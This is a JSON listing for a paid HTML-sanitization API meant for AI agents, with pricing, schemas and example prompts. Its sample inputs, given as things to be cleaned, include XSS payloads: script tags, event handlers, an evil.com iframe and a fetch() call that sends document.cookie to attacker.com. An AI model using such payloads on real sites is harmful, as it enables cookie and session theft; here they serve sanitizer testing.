{"uid":"cap_LSvGqRyu_Ywp8Jnkq7AlK","slug":"agentshelf-syntexa-ch-html-sanitizer-474b411f","name":"agentshelf.syntexa.ch HTML Sanitizer","description":"Call when an agent needs HTML sanitized to an allowlist of tags and safe URLs. No network. Exact $0.003 USDC. Prefer unpaid POST /v1/sandbox/html-sanitize first.","url":"https://agentshelf.syntexa.ch/v1/html-sanitize?utm_source=zero.xyz","method":"POST","headers":{},"bodySchema":{"type":"object","properties":{"html":{"type":"string","examples":["<p onclick=\"x\">Hi</p><script>bad</script>"],"maxLength":200000,"minLength":1,"description":"HTML to sanitize to an allowlist of tags and safe href/src values."}}},"responseSchema":null,"example":null,"exampleRequest":null,"tags":["x402"],"displayCostAmount":"0.003","displayCostAsset":"USDC","priceDynamic":false,"priceHint":null,"priceStatus":"priced","priceSource":"probe","requiresHandshake":false,"reviewCount":0,"rating":{"score":"0.00","successRate":"0.00","reviews":0,"stars":null,"state":"unrated"},"availabilityStatus":"unknown","priceObserved":null,"sessionDeposit":null,"pricing":{"kind":"static","summary":"$0.003/call","primary":{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.003","per":"call","confidence":"exact"},"accepted":[{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.003","per":"call","confidence":"exact"}]},"paymentMethods":[{"uid":"pm_t8-RfoihWZvIQhheMeA_Z","protocol":"x402","methodType":"crypto","chain":"base","mode":"charge","costAmount":"0.003","costPer":"request","priority":0,"asset":"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913","unit":"request","depositMicros":null,"planRef":null}],"brandName":null,"brandSlug":null,"brandBaseUrl":null,"brandDocsUrl":null,"whatItDoes":"Sanitizes HTML input against an allowlist of safe tags and URLs, stripping dangerous content without any network calls","exampleAgentPrompt":"Can you sanitize this HTML for me — I need to strip out any unsafe tags and dangerous URLs before I render it in the page: '<script>alert(1)</script><p onclick=\"evil()\">Hello <b>world</b></p>'","exampleUseCases":[{"title":"Sanitize user-submitted comment HTML","prompt":"I have HTML from a user comment form that I need to clean before displaying it on the site — can you sanitize this so only safe tags remain and all dangerous scripts or event handlers are removed: '<b>Great post!</b><script>stealCookies()</script><a href=\"javascript:void(0)\">click me</a>'"},{"title":"Clean CMS rich-text editor output","prompt":"Our CMS editor sometimes outputs HTML with inline event handlers and iframes — please sanitize this HTML snippet so it only keeps an allowlist of safe tags before we store it: '<div onmouseover=\"track()\"><iframe src=\"evil.com\"></iframe><p>Article content here</p></div>'"},{"title":"Strip unsafe HTML from email template","prompt":"I'm about to inject this HTML block into an email template but I want to make sure it's safe first — can you run it through the HTML sanitizer to remove any scripts or dangerous URLs: '<p>Welcome!</p><script>fetch(\"http://attacker.com?c=\"+document.cookie)</script><img src=\"x\" onerror=\"alert(1)\">'"}],"resultDescription":"Returns sanitized HTML with all disallowed tags removed or escaped, unsafe attributes stripped, and dangerous URLs neutralized, leaving only allowlisted elements and safe content","failureModes":["HTML input exceeds 200,000 character limit — request rejected","Empty HTML string provided — validation error","Malformed JSON body — 400 bad request","Payment not provided or insufficient — 402 payment required"],"whenToPreferThis":"Choose this endpoint when you need a deterministic, no-network HTML sanitization pass against a fixed allowlist of safe tags and URLs, especially when you want a cheap ($0.003 USDC), isolated operation with no external data fetches. Prefer the free POST /v1/sandbox/html-sanitize first if available. Best for stripping XSS vectors from user-generated content before rendering or storage.","instructions":null,"reviewSummary":null,"reviewSummaryHighlights":null,"reviewSummaryConcerns":null,"reviewSummaryGeneratedAt":null,"activationCount":0,"lastUsedAt":null,"lastSuccessfullyRanAt":null,"lastHealthCheckAt":"2026-10-01T00:53:00.110Z","isFirstParty":false,"canonicalSlug":"agentshelf-syntexa-ch-html-sanitizer-474b411f"}